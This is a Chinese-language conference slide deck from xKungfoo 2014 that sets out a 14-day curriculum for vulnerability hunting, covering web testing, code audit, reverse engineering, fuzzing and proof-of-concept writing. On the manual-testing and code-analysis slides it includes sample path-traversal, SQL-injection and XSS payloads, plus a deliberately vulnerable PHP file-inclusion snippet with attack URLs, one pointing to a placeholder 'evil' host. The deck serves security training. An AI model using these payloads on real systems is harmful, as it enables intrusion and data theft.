14天学会漏洞挖掘

Vexs

Apr 16,17 2014 Shanghai

{xKungfoo 2014}

Introduction

- 会用Google？
  - g.cn -> www.google.cn -> www.google.com.hk
  - google.com -> www.google.com.hk
  - VPN www.google.com （网页快照）
    - IP 74.125.128.13*
- 关键字 -> 分析结果 -> 重组关键字 -> 分析结果 ->...-> 需要的结果 -> 被限制访问的页面 -> 访问网页快照 -> 得到需要的信息

- 目标：找到没有直接在Google返回中的内容

- 为什么是14天？
  - 14天学会安卓开发/21天学通C++/21天学通Java/21天学通Linux C编程
  - Free 14 Day Trial

- **1988-2012 25 Years of Vulnerabilities Sourcefire**

Exploiting? NO!

- Structured Exception Handler Overwrite Protection (SEHOP)
- Data Execution Prevention (DEP)
- Heapspray Allocations
- Null page allocation
- Mandatory Address Space Layout Randomization (ASLR)
- Export Address Table Access Filtering (EAF)
- Bottom-up randomization
- ROP mitigations
- Attack Surface Reduction
- Advanced Mitigations for ROP and EAF

- Linux kernel Grsecurity SELinux AppArmor

Plan

- **第一周** **第二周**
- 第1天（周一）：Web漏洞扫描 第8天（周一）：静态反编译分析
- 第2天（周二）：Web手动测试 第9天（周二）：动态二进制调试分析
- 第3天（周三）：Web代码分析 第10天（周三）：Fuzzing协议和文件
- 第4天（周四）：代码静态分析 第11天（周四）：Fuzzing ActiveX
- 第5天（周五）：代码编译分析 第12天（周五）：POC实现
- 第6～7天（周末）：知识库 第13～14天（周末）：示例漏洞分析

第1天（周一）

- **Web漏洞扫描**
- Tomcat IIS Jsp ASPX PHP Apache MySQL 环境配置

- Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF)
- SQL Injection Code Execution File Inclusion CRLF Injection
- DOM XSS Buffer Overflows
- **OWASP Top 10** & CWE/SANS Top 25
- 扫描器原理 返回信息

- Web漏洞扫描器自带的扫描数据文件和报告
- 搭建漏洞测试环境 DVWA WebGoat

- 学习目标：扫描器优化配置+理解漏洞类型

第2天（周二）

- **Web手动测试**
- 使用**Burp Suite Pro**动态修改数据
- 提交测试数据
- ../../../../../../../../../../../../../
- ../../../../../../../../../../../../../../../
- /**/or/**/1/**/=/**/1
- /**/or/**/1/**/=/**/2
- =><><script>alert('XSS')</script>
- =><><ScRiPt>AlErT('XSS')</ScRiPt>
- 人工观察判断返回信息

- 《黑客攻防技术宝典：Web实战篇》
- 漏洞测试环境 DVWA WebGoat

- 学习目标：理解 Payload

第3天（周三）

- **Web代码分析**
  - **漏洞还是那些漏洞**、ASP/ASPX/JSP/PHP源码角度跟踪数据传播
    - 解读函数/变量/参数到数据执行

```
<?php
 $lang = 'English';
 if ( isset( $_GET['LANG'] ) )
   $lang = $_GET['LANG'];
 require( $lang . '.php' );
?>
<form>
 <select name="LANG">
  <option value="eng">English</option>
  <option value="cht">Traditional Chinese</option>
 </select>
 <input type="submit">
</form>
```

/vulnerable.php?LANG=http://evil/exploit
/vulnerable.php?LANG=..\..\..\..\ftp\upload\exploit

- 漏洞测试环境 DVWA WebGoat + 源代码审计工具
  - 学习目标：理解数据传播污染 + 修复漏洞

第4天（周四）

- **C/C++代码纯静态分析**
- **不一样的漏洞**、C/C++源码角度跟踪数据执行
- 依靠外部的数据来控制行为的污染

- Buffer Overflow & Buffer Overflow: Format String & Buffer Overflow: Format String (%f/%F)
- Buffer Overflow: Off-by-One & Buffer Overflow: Signed Comparison
- Command Injection & Denial of Service & Format String & Illegal Pointer Value
- Integer Overflow & LDAP Injection & LDAP Manipulation & Log Forging
- Out-of-Bounds Read & Out-of-Bounds Read: Off-by-One
- Out-of-Bounds Read: Signed Comparison & Path Manipulation
- Process Control & Resource Injection & SQL Injection
- Setting Manipulation & String Termination Error
- String Termination Error(truncate) & Unsafe Reflection

- **Dangerous Function (Banned Functions)** + 源代码审计工具
- 学习目标：理解缓冲区溢出和输入验证

第5天（周五）

- **C/C++代码编译分析**
- **深入内存数据**、静态代码翻译
- 跟踪数据执行流程

- API usage errors & Code maintainability issues
- Control flow issues & Error handling issues
- Incorrect expression & Insecure data handling
- Integer handling issues & Memory - corruptions
- Memory - illegal accesses & Null pointer dereferences
- Performance inefficiencies & Program hangs & Resource leaks
- Security best practices violations & Uninitialized variables

- 漏洞测试 + 源代码审计工具
- 学习目标：内存破坏的问题

Source Code Analysis Tools

- **AppsCan Source**
- Java, JavaScript, JSP, ColdFusion, C, C++, Objective-C, .NET (C#, ASP.NET and VB.NET), Classic ASP (JavaScript/VBScript), PHP, Perl, VisualBasic 6, PL/SQL, T-SQL, SAP ABAP and COBOL

- **CodeSecure**
- ASP.NET, VB.NET, C#, Java/J2EE, JSP, EJB, PHP, Classic ASP and VBScript

- **Checkmarx**
- Java, C# / .NET, PHP, C, C++, Visual Basic 6.0, VB.NET, Flash, APEX, Ruby, Javascript, ASP, Perl, Android, Objective C, PL/SQL, HTML5.

- **Fortify**
- ABAP/BSP, ActionScript/MXML, ASP.NET, VB.NET, C#(.NET), C/C++, Classic ASP, COBOL, CFML, HTML, Java, JavaScript/AJAX, JSP, Objective-C, PHP, PL/SQL, Python, T-SQL, Visual Basic, VBScript, XML

- **Veracode**
- Java, JSP, .NET- C#, .NET - VB.NET, ASP.NET, .NET - C++/CLI, C/C++, PHP, ColdFusion, iOS, Android, J2ME, Ruby, Classic ASP, VB6, VBScript, Flash (using Dynamic)

- **Coverity**
- C/C++, Java and C#

- **Klocwork**
- C/C++, C# , Java

- **Parasoft**
- C/C++(C/C++test), Java(Jtest), .NET(dotTEST)

- **CodeSonar**
- C/C++, Java, and binaries

第6~7天（周末）

- **漏洞和代码安全知识库+练习**
- vulncat teamMentor(VPN) AppSource(Software)
  - 开源软件源码更新版本Patchdiff
  - 危险函数/有漏洞历史的函数
- PHP/Java配置与权限（Struts 2 & WebLogic）
  - C#/Java静态分析
  - C/C++编译分析
- 漏洞测试环境 Nginx源码 + 源代码审计工具
  - 学习目标：分析多种漏洞的共同性

第8天（周一）

- **静态反编译分析**
- 使用**IDA Pro**反汇编 + PatchDiff方法（Plugins + Scripts）
- zynamics BinDiff 二进制补丁比较（Similarity）
- BinNavi 汇编函数解析 函数执行流程 调试
- .NET -> NET Reflector
- Java Class -> Java Decompiler

- D-Link Router Backdoor
- 2014年4月8日：Windows XP SP3支持结束（分析 Server 2003）
- KBArticleNumber /X:C:\ExtractedPackage

- 学习目标：学会分析微软家族产品漏洞

第9天（周二）

- **动态二进制翻译/调试分析**
- 使用**Windbg/ollydbg/EDB**动态调试程序
- Dynamic Binary Instrumentation
- Pin/DrMemory/DynamoRIO/QEMU/Valgrind
- **Crash Dump文件分析(**!exploitable Crash Analyzer**)**
- Kernel Memory Space Analyzer
- MemSherlock + CBones

- **Unpack**/UPX压缩壳
- StrongOD/Themida/Winlicense/VMProtect
- 学习目标：学会Windows/Linux平台下动态调试分析

第10天（周三）

- **Fuzzing协议和文件**
- 使用beSTORM测试通用协议（Fuzzer + Monitor）
- 010 Editor + Peach Fuzzer
- Browser Fuzzer
- Browser fuzzing / NodeFuzz / Grinder
- 802.XX/DNP3/MODBUS(SCADA)

- 学习目标：学会构造Payload来Fuzzing测试

第11天（周四）

- **Fuzzing ActiveX**
- 浏览器Fuzzing难搞？
- 使用**ComRaider**解析ActiveX控件函数和自动Fuzzing测试
- 不一定都是溢出的漏洞

- 学习目标：学会分析浏览器调用ActiveX控件和Fuzzing测试

第12天（周五）

- **POC实现**
  - nc+ packet ？（MS12-20）
  - SQL Injection: SQL & Sqlmap
  - Cross-Site Scripting (XSS)：HTML & URL
  - Code Execution： Command
- **Buffer Overflow: C/C++**
  - Perl：beSTORM
  - Ruby：Metasploit
- Python：CANVAS & CORE Impact & Exploit Pack
- 学习目标：学会写触发漏洞的代码

第13～14天（周末）

- **示例漏洞分析**
- nginx site:exploit-db.com
- apache site:exploit-db.com
- nginx site:packetstormsecurity.org
- apache site:packetstormsecurity.org

- Microsoft Security Bulletin

- 学习目标：分析示例漏洞为下一步漏洞利用打好基础

About

- Vexs = Vulnerability exploits
- http://t.qq.com/security-focus & vexs@x-bug.com
- LSCSA Labs Creator
- LSCSA = Linux Source Code Security Analysis
- DBAPPSecurity Security Service
- [分子实验室]创建人

- 下一步是《14天学会漏洞利用》？

Security Research Labs

- **[分子实验室] 安全研究**

- 国内外信息安全标准化研究
- ISO/IEC ISMS SSE-CMM SP 800-30 CVE

- 信息安全风险评估规范、管理体系、风险管理研究
- Risk Assessment

- APT攻击和防御技术研究 Advanced Persistent Threat
- **网络自动化渗透测试技术研究** Penetration Testing
- **Web漏洞挖掘和利用技术研究** Web Security Vulnerabilities
- **源代码安全漏洞分析技术研究** Source Code Security Analysis
- **二进制代码漏洞挖掘技术研究** Binary Code Analysis
- 安全开发生命周期实践研究 Security Development Lifecycle (SDL)
- 应急响应和调查取证技术研究
- Emergency Response & Evidence Collection